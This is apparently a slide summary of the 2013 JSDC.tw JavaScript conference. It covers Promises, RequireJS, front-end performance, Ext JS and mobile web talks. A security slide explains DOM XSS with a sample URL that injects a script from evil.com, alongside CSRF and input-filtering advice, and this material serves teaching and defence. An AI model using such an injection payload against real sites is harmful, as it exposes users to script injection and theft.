JSDC Summary

advertisement
JSDC.tw 2013 Summary
GAIS LAB group Meeting
05/29
alan7
JSDC
+
• JavaScript.tw
• HTML5&CSS5
• Node.js
所有懶人包: http://goo.gl/bvvFb
Conference in 2013 http://goo.gl/UJmZ0
名稱
內容
日期
價格
WebConf
網頁開發者研討會
01/12 ~ 13
1300/780
ConCom
研討會的組織工作者的會
議 (餐會)
02/23
-
SITCON
由學生自發舉辦之聚會
03/16
免費
OSDC
開放源碼開發者研討會
04/19 ~ 20
500
ICOS
開放源碼國際研討會
04/26 ~ 28
免費
JSDC
JavaScript 技術研討會
05/18 ~ 19
1800/1000
PyCon
Python 社群年會
05/25 ~ 26
4500/2500/1500
DrupalCamp
致力推廣 Drupal
07/06 ~ 07(暫定)
900/600
HITCON
駭客年會
07/19~20
3000/1500
JavaTwo (oracle)
Java Developer Day
08/02
1400/1200
COSCUP
開源人年會
08/03~04
免費
PHPConf
PHP年會
10/05
未定
MOPCON
行動應用技術研討會
10/26-27
未定
About conference
• General Topic
– usually from most important provider
– For all
• Specify Topic
– Run on the same time
– Select the Issue which you’d like
All Topic (day 1)
•
•
•
1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services
2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico
2-2.从前端到终端 — 跨越平台的前端技术 -王文明 / 奇虎360
• 2-3.Easier async -flow control 的原理、應用、
實作及展望 -馮旭平 / 吉立富資訊
•
•
•
•
•
•
•
•
•
3-1.Node.js 佈署常見問題 - Steven XP / Fandora
3-2.JavaScript 開發實戰:效能調校與常見陷阱 - Will 保哥 / 多奇數位創意
3-3.RequireJs - Using AMD to fight the good,the bad and the ugly of JavaScript. - David Shariff /
Richi
4-1.我編譯故我在:誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice
4-2.愛料理網站前端開發經驗談 - Lawrence Lin / Polydice
4-3.為什麼你還是應該使用 Rails 開發:前端加速以及前端開發管理 - xdite / RocoDev
5-1.如何教設計師前端技術 - EvenWu / evendesign
5-2.前端工程師的資安挑戰 – Ant
5-3. OMG!Mobile Web can do that? - Sean / youmeb
Easier async -flow control
• Javascript怎麼執行非同步程式?
• Callback,或是稱作Continuation-passing
Style (CPS)
– 從函數的參數,接收一個外部的函數或物件
– 在函數執行完畢時,不返回執行結果,而呼叫
外部函數或物件的方法,把執行結果傳遞給它
(continuation passing)
Easier async -flow control
• Why Using flow control
– 需要CPS又需要循序執行
– Ex. 跟server要數字A去跟B計算再跟server要C去
算出結果
– 嵌套
• 不易閱讀、維護、編輯
Easier async -flow control
• How?
–
–
–
–
內部無法判定 交由函數外部
http://jsfiddle.net/bwT6r/
循序執行範例 http://jsfiddle.net/X7EL9/
把結果往後傳之範例 http://jsfiddle.net/SqAsZ/
• 其實也有很多lib可供直接使用
– 推薦的: https://github.com/caolan/async/
• 很多流程控制函數parallel、serial、waterfall
• 提供一些非同步工具
– 沒有標準做法,所以市面上有幾十種類似的工具,
各有優缺點
Easier async -flow control
• 另外一個方法:Promise
– 相關:Future、Deferred、Promise,都是類似的概念
– 不需要使用CPS,改用Promise物件來維護、傳遞執行狀
態
• Promise物件只有三種狀態:
– 初始的unfulfill狀態
– 代表執行成功的fulfill狀態(resolved)
– 代表執行失敗的fail狀態(rejected)
• Promise物件有一個then方法:
– p.then(success_func, fail_func)
• then方法的執行結果也是一個Promise,所以可以串
接下去
Easier async -flow control
• Promise的一些優點
– 使用起來很簡單明瞭,基本上只需要知道:
• 狀態只會從unfulfill轉變成fulfill或是fail,一旦變成fulfill或
是fail,就不會變動
• 基本上Promise/A只定義一個操作介面,就是then
– then中指定的函數不需要額外的Callback,只需要
返回執行結果。再加個then就可以繼續串接執行下
去,這樣比CPS還要直覺
– 它會考慮到error handling,所有發生的exception都
會被處理
– Promise開始形成標準,未來甚至可能成為
Javascript內建的物件
Easier async -flow control
• Promise的一些缺點
• 目前已經有一些Promise/A+標準的實作,包
括jQuery1.5+、WinJS for win8 app、Q等,
但是各家實作差異其實也還不小
• WinJS.Promise 物件與 jQuery Deferred 物件
比較 by vexed
– http://ithelp.ithome.com.tw/question/10118894
Easier async -flow control
• JQuery Deferred 範例
Easier async -flow control
• Promise 注意事項
– 如果自己控制Promise,尤其是一群Promise陣
列,一定要讓所有的Promise物件狀態走到fulfill
或是fail,否則程式就停住不前進了
– 可以在then中的函數裡面使用Promise來控制流
程,不過有些流程是可以抽到外面來的,並不
需要放在內層
All Topic (day 1)
•
•
•
•
•
•
1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services
2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico
2-2.从前端到终端 — 跨越平台的前端技术 -王文明 / 奇虎360
2-3.Easier async -flow control 的原理、應用、實作及展望 -馮旭平 / 吉立富資訊
3-1.Node.js 佈署常見問題 - Steven XP / Fandora
3-2.JavaScript 開發實戰:效能調校與常見陷阱 - Will 保哥 / 多奇數位創意
• 3-3.RequireJs - Using AMD to fight the good,the bad
and the ugly of JavaScript. - David Shariff / Richi
•
•
•
•
•
•
4-1.我編譯故我在:誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice
4-2.愛料理網站前端開發經驗談 - Lawrence Lin / Polydice
4-3.為什麼你還是應該使用 Rails 開發:前端加速以及前端開發管理 - xdite / RocoDev
5-1.如何教設計師前端技術 - EvenWu / evendesign
5-2.前端工程師的資安挑戰 – Ant
5-3. OMG!Mobile Web can do that? - Sean / youmeb
RequireJs - Using AMD
• Asynchronous Module Definition
– Modules are encapsulated and sandboxed.
– Create and reuse code from different products.
– No cross domain loading issues, can load modules
without a build process or server-side tool.
– Structured, clean codebase.
– Async loading, managed dependencies.
– Lazy load modules (stuff not used by the user yet can
be loaded in background when needed on demand).
– Not a technology, but a specification proposal.
RequireJs - Using AMD
• Module vs. Frameworks
– Frameworks suck?
• You don't tell the framework what to do, it tells you.
• Huge, complicated structure that is not relevant to your
application.
– Modules Rock?
•
•
•
•
Single purpose responsibility.
Sandboxed.
Reusable, maintainable, scaleable, distributable.
Abstract interface with well defined import & export.
RequireJs - Using AMD
• AMD IMPLEMENTATION
RequireJs - Using AMD
• Two important concepts
– DEFINE() VS REQUIRE()
• Lazy evaluation of code contained inside module, only
executed when it's needed.
• Once executed, subsequent calls are cached, no need
to fetch the module again.
• One module per file.
• When you only need to use modules, not create them.
• Dependencies that can not be evaluated until runtime
or only loaded when a specific event occurs.
RequireJs - Using AMD
• Can inheritance
RequireJs - Using AMD
• Setting
–
–
–
–
–
–
baseURL
waitSeconds
urlArgs
Config
PATH
MAP
• Can be a project
– Packages
– Multiversion
All Topic (day 1)
•
•
•
•
•
•
•
•
•
1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web Services
2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico
2-2.从前端到终端 — 跨越平台的前端技术 -王文明 / 奇虎360
2-3.Easier async -flow control 的原理、應用、實作及展望 -馮旭平 / 吉立富資訊
3-1.Node.js 佈署常見問題 - Steven XP / Fandora
3-2.JavaScript 開發實戰:效能調校與常見陷阱 - Will 保哥 / 多奇數位創意
3-3.RequireJs - Using AMD to fight the good,the bad and the ugly of JavaScript. - David Shariff /
Richi
4-1.我編譯故我在:誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice
4-2.愛料理網站前端開發經驗談 - Lawrence Lin / Polydice
• 4-3.為什麼你還是應該使用 Rails 開發:前端加速
以及前端開發管理 - xdite / RocoDev
•
•
•
5-1.如何教設計師前端技術 - EvenWu / evendesign
5-2.前端工程師的資安挑戰 – Ant
5-3. OMG!Mobile Web can do that? - Sean / youmeb
為什麼你還是應該使用 Rails 開發:
前端加速以及前端開發管理
• 「網頁產生速度」
為什麼你還是應該使用 Rails 開發:
前端加速以及前端開發管理
• Scaling Websites
– Front-end speed
(7s -> 1s)
– SQL Query speed (500ms -> 50ms)
– Method speed
(50ms -> 10ms)
– Programing Language speed
(5ms -> 2ms)
• Webpage 產生速度 =
SQL Query speed +
Method speed +
Programing Language speed
為什麼你還是應該使用 Rails 開發:
前端加速以及前端開發管理
為什麼你還是應該使用 Rails 開發:前端
加速以及前端開發管理
• Easy to apply Parallel Download
– The HTTP/1.1 specification suggests that browsers
download no more than 2 components in parallel
per hostname.
– If you serve your images from multiple hostnames,
you can get more than two downloads to occur in
parallel.
4 支 CSS 開 8 秒 => 4 支開 2 秒
為什麼你還是應該使用 Rails 開發:
前端加速以及前端開發管理
• As same to implement CDN (Content
Distribution Network)
– Invalid Problem?
timestamp
為什麼你還是應該使用 Rails 開發:
前端加速以及前端開發管理
• minimal HTTP Request
為什麼你還是應該使用 Rails 開發:
前端加速以及前端開發管理
• CSS Sprite
– Powered by SCSS & Compass
為什麼你還是應該使用 Rails 開發:
前端加速以及前端開發管理
• ETag
– provides for web cache validation
– allows a client to make conditional requests
– saves bandwidth
All Topic (day 1)
•
•
•
•
•
•
•
•
•
•
•
1.KeyNote :The evolution of JavaScript & Public Cloud - Joe Ziegler / Amazon Web
Services
2-1.The seven year itch with ExtJS - Calvin Yeh / Pastico
2-2.从前端到终端 — 跨越平台的前端技术 -王文明 / 奇虎360
2-3.Easier async -flow control 的原理、應用、實作及展望 -馮旭平 / 吉立富資訊
3-1.Node.js 佈署常見問題 - Steven XP / Fandora
3-2.JavaScript 開發實戰:效能調校與常見陷阱 - Will 保哥 / 多奇數位創意
3-3.RequireJs - Using AMD to fight the good,the bad and the ugly of JavaScript. David Shariff / Richi
4-1.我編譯故我在:誰說 Node.js 程式不能編成 Binary - Fred Chien / Mandice
4-2.愛料理網站前端開發經驗談 - Lawrence Lin / Polydice
4-3.為什麼你還是應該使用 Rails 開發:前端加速以及前端開發管理 - xdite
/ RocoDev
5-1.如何教設計師前端技術 - EvenWu / evendesign
• 5-2.前端工程師的資安挑戰 – Ant
•
5-3. OMG!Mobile Web can do that? - Sean / youmeb
前端工程師的資安挑戰
• OWASP Top Ten 「網站應用程式十大弱點」
– 網頁安全
– 每三年改版一次
•
•
•
•
•
•
•
•
•
•
Injection (2nd SQL Injection)
Broken Authentication Session Management
Cross-Site Scripting (XSS)
Insecure Direct Object Reference
Security Misconfiguration
Sensitive Data Exposure
Missing Function Level Access Control
Cross-site Request Forgery (CSRF)
Using Known Vulnerable Components
Unvalidated Redirects and Forwards
前端工程師的資安挑戰
• DOM XSS
– 問題直接在client發生,利用類似如下
http://evil.com/#name
#name並不會被送到server端而是直接在local
執行所以會有下面這種狀況
http://evil.com/#name<script src=http://evil.com/a.js></script>
– 更進階的應用,直接弄成短網址根本看不出來
前端工程師的資安挑戰
• CSRF
– A. 不要用HTTP GET而是HTTP POST
– B. Referer 檢查 (還是有辦法偽造)
– C. Double Cookies
– D. Form token/random token (很足夠去抵擋攻擊,
但還是有機會被破 )
– ClickJacking
前端工程師的資安挑戰
• 引用他站的js? (like CDN)
<script src=“http://cdn.com/t.js”></script>
• CDN爆了… 你也爆了
• 暗黑執行緒的大大說 若google被打下來 也
就認了
前端工程師的資安挑戰
• 我不是大大之ㄧ些開發準則分享
– Filter input
– Escape output
– One time token
– 不要相信任何客戶端的驗證
• Ex.前端網頁的maxlength、filter/vaildation、SQL
All Topic (day 1)
•
•
6-1.中文網路字型 justfont 實作過程 - Michael / justfont
6-2.做更快一點 工程師討生活工具介紹 - UP Chen / Nvesto
• 6-3.關於 Mobile Web 開發二三事 - Eric
Chuang / Yahoo
•
•
•
•
•
•
•
•
7-1.支援遊戲及互動應用的雲 -胡舜元 / 中央研究院資訊所多媒體網路與系統實驗室
7-2. Building a Web OS based on Ext JS - Rex Huang / Synology
7-3. Begin Three.js -廖一帆 / The ManX
8-1.樸實與浮華 (Plain and Vanity) / (Usability & Performance) - Paul Li/ Yahoo
8-2.用 Node.JS 開發 KKBOX 一起聽 - Butany Chuang / KKBOX
9-1. Optimizing Your Mobile Web Apps - Kuro Hsu
9-2. Defensive backend programming with node.js - Ruben Tan / OnApp CDN Sdn Bhd
10. Lightning talks
– Zhusee – Bumbler to speech 以 JS 實作簡易 audio sprites
– 小B – 從 Rails 到 Node + Backbone TouchLimit 的累死人砍掉重練
– Irvin – 噗浪最近有點胖
– YuTin – 從專案開發談終身大事
– Fred – Stem OS – JavaScript OS
關於 Mobile Web 開發二三事
• Mobile Web vs. Mobile App
關於 Mobile Web 開發二三事
• 挑戰的複雜度:
– 手機 x 瀏覽器 x OS版本 ….
• 降低Page Load的時間
– 減少HTTP request的數量
– 減少頁面大小
– 縮圖在伺服器上做
– 後端要夠力
– 後面就是lib的介紹
All Topic (day 1)
•
•
•
•
6-1.中文網路字型 justfont 實作過程 - Michael / justfont
6-2.做更快一點 工程師討生活工具介紹 - UP Chen / Nvesto
6-3.關於 Mobile Web 開發二三事 - Eric Chuang / Yahoo
7-1.支援遊戲及互動應用的雲 -胡舜元 / 中央研究院資訊所多媒體網路與系統實驗室
• 7-2. Building a Web OS based on Ext JS - Rex
Huang / Synology
•
•
•
•
•
•
7-3. Begin Three.js -廖一帆 / The ManX
8-1.樸實與浮華 (Plain and Vanity) / (Usability & Performance) - Paul Li/ Yahoo
8-2.用 Node.JS 開發 KKBOX 一起聽 - Butany Chuang / KKBOX
9-1. Optimizing Your Mobile Web Apps - Kuro Hsu
9-2. Defensive backend programming with node.js - Ruben Tan / OnApp CDN Sdn Bhd
10. Lightning talks
– Zhusee – Bumbler to speech 以 JS 實作簡易 audio sprites
– 小B – 從 Rails 到 Node + Backbone TouchLimit 的累死人砍掉重練
– Irvin – 噗浪最近有點胖
– YuTin – 從專案開發談終身大事
– Fred – Stem OS – JavaScript OS
Building a Web OS based on Ext JS
• Better User experience
– Framework
– JavaScript Loading
– Object-Oriented Design
– Window Management
Building a Web OS based on Ext JS
Building a Web OS based on Ext JS
• Ext JS
– JavaScript framework for rich desktop apps
– Cross-browser compatibility
– Rich modern UI widgets
Building a Web OS based on Ext JS
Inline scripts(<script src=“synology.js”>)
blocks HTML rendering
blocks parallel downloading(images/iframes)
Building a Web OS based on Ext JS
• Async Loading
– Add defer attribute
<script src=“synology.js” defer ></script>
– Add async attribute
<script src=“synology.js” async ></script>
Building a Web OS based on Ext JS
• Object-Oriented Design
– Ext JS Class System
– For example
Building a Web OS based on Ext JS
• DOM cloneNode
var node = document.getElementById ("node");
var clonedNode = node.cloneNode (true);
// clear the id property of the cloned table
clonedNode.id = "";
var previewBox =
document.getElementById("previewBox");
previewBox.appendChild (clonedNode)
Building a Web OS based on Ext JS
•
•
•
•
•
CSS Transform: scale
transform: scale(x,y);
ms-transform: scale(x,y);
webkit-transform: scale(x,y);
moz-transform: scale(x,y);
Building a Web OS based on Ext JS
• Window Management
?
Building a Web OS based on Ext JS
• The manager manages communication
between modules
Building a Web OS based on Ext JS
All Topic (day 1)
•
•
•
•
•
•
•
•
•
•
6-1.中文網路字型 justfont 實作過程 - Michael / justfont
6-2.做更快一點 工程師討生活工具介紹 - UP Chen / Nvesto
6-3.關於 Mobile Web 開發二三事 - Eric Chuang / Yahoo
7-1.支援遊戲及互動應用的雲 -胡舜元 / 中央研究院資訊所多媒體網路與系統實驗室
7-2. Building a Web OS based on Ext JS - Rex Huang / Synology
7-3. Begin Three.js -廖一帆 / The ManX
8-1.樸實與浮華 (Plain and Vanity) / (Usability & Performance) - Paul Li/ Yahoo
8-2.用 Node.JS 開發 KKBOX 一起聽 - Butany Chuang / KKBOX
9-1. Optimizing Your Mobile Web Apps - Kuro Hsu
9-2. Defensive backend programming with node.js - Ruben Tan / OnApp CDN Sdn Bhd
• 10. Lightning talks
–
–
–
–
–
–
Zhusee – Bumbler to speech 以 JS 實作簡易 audio sprites
小B – 從 Rails 到 Node + Backbone TouchLimit 的累死人砍掉重練
Irvin – 噗浪最近有點胖
YuTin – 從專案開發談終身大事
Fred – Stem OS – JavaScript OS
Blue – g0v & listening me
All Topic (day 2)
• 1.KeyNote : F2E – The Keystone of the
Industry - josephj (蔣定宇) / miiiCasa
•
•
•
•
•
•
•
•
•
•
2-1.Real-time web application with Socket.IO, Node.js and Redis. - York Tsai
/ EZTable
2-2. High-performance games and more in JavaScript with asm.js - Vladimir
Vukicevic (Inventor of WebGL) /Mozilla Taiwan 美商謀智
2-3. Rock with Knockout.js -流浪小風 / 91mai 就要買
3-1. Web Worker 行不行 - Bingo Yang (楊秉桓) / hTC
3-2.透視 JavaScript 的 MVC / MVP / MVVM -大澤木小鐵 / 台灣新浪
3-3.你不可不知的前端開發工具 - Appleboy / 瑞昱半導體
4-1.生在幸福的 JS 年代 (早期 JS 演進過程開發心得) - Hina Blue(閃光洽)
4-2. Mobile Web Game 經驗開發談 -陳世欽
4-3. Magic “this“ - othree / hTC
5-1. Titanium 入門實戰 30 分鐘教你寫出 youtube App + 會員系統 - Kevin Huang
/ VideOhya
F2E – The Keystone of the Industry
• F2E (Front End Engineer)
• 一般認知:
– JavaScript =玩具語言 、跟後端相比簡單多了
– 入門容易 、better to have
– 薪水比較便宜
• 為什麼不可缺少:
– 工程師不愛切版(重邏輯、資料 不管呈現)
– 設計師不愛切版(重呈現、不管作法)
F2E – The Keystone of the Industry
• 需打好基礎:
– 每個HTML TAG的意義
– 前端!= jQuery
– JavaScript 跟DOM API的關連與區別
– Event事件模型
– AJAX、JSONP是甚麼
F2E – The Keystone of the Industry
• 避免盲目追求新技術
– 好的前端!=知道很多技術
– 能夠深入研究並且整合
– 制定規範
– 提升整體品質
– 幫大家解決問題
– 才能稱得上好的前端工程師
F2E – The Keystone of the Industry
• 積極分享、多回饋
– GitHub
• Http://f2eclass.com
All Topic (day 2)
• 6-1. Your Phone is the Controller - Aidan Wu
/ SympaSoft
•
•
•
•
•
•
•
•
•
6-2. Porting to Web: An Introduction to Emscripten - Ting-Yuan Huang / Mozilla Taiwan 美商謀智
6-3.如何打造雲端開發平台 - Marty (許益祥) / 中冠資訊
7-1. Ragic Interface 設計經驗分享 -長頸鹿(liberation) / Ragic 立即科技
7-2.設計師!你 RWD 了沒? - Nowill / Nowill Design
8-1. CreateJS:「從 Flash 到 JavaScript」 - 高見龍 / 高思數位網路
8-2. Elastic Beanstalk: deploy your applications fast, effectively and elastically - Joe Ziegler / Amazon
Web Services
9-1. XULRunner + JS 開發應用 - 阿土伯 / VIVIPOS
9-2. Code for Quality – 提昇 JavaScript 撰寫品質。 - josephj / miiiCasa
10-1. Lightning talks
– Gias Kay Less – Functional Programming in 5 minutes
– Grassboy – 結合"無障礙"網頁設計規範的人類精神官能委靡驗證碼
– tonypai – 進擊的鄉民
– Crboy – 用 JS patch 你的網站
– 阿修 – TiSippet
Your Phone is the Controller
Your Phone is the Controller
Your Phone is the Controller
• Why is HTML5 gaming so cool?
– Install? Write once play anywhere
– Graphics? Canvas & WebGL
– Sounds? HTML5 audio
– Communication? Multiplayer game server
– Data? Web Storage / Offline
– Controls? Keyboard and touch
Your Phone is the Controller
• That’s strat with develop game
Your Phone is the Controller
Conclusion
• 多參與社群
• 多了解新知
• 分享與回饋
Any Question?
Download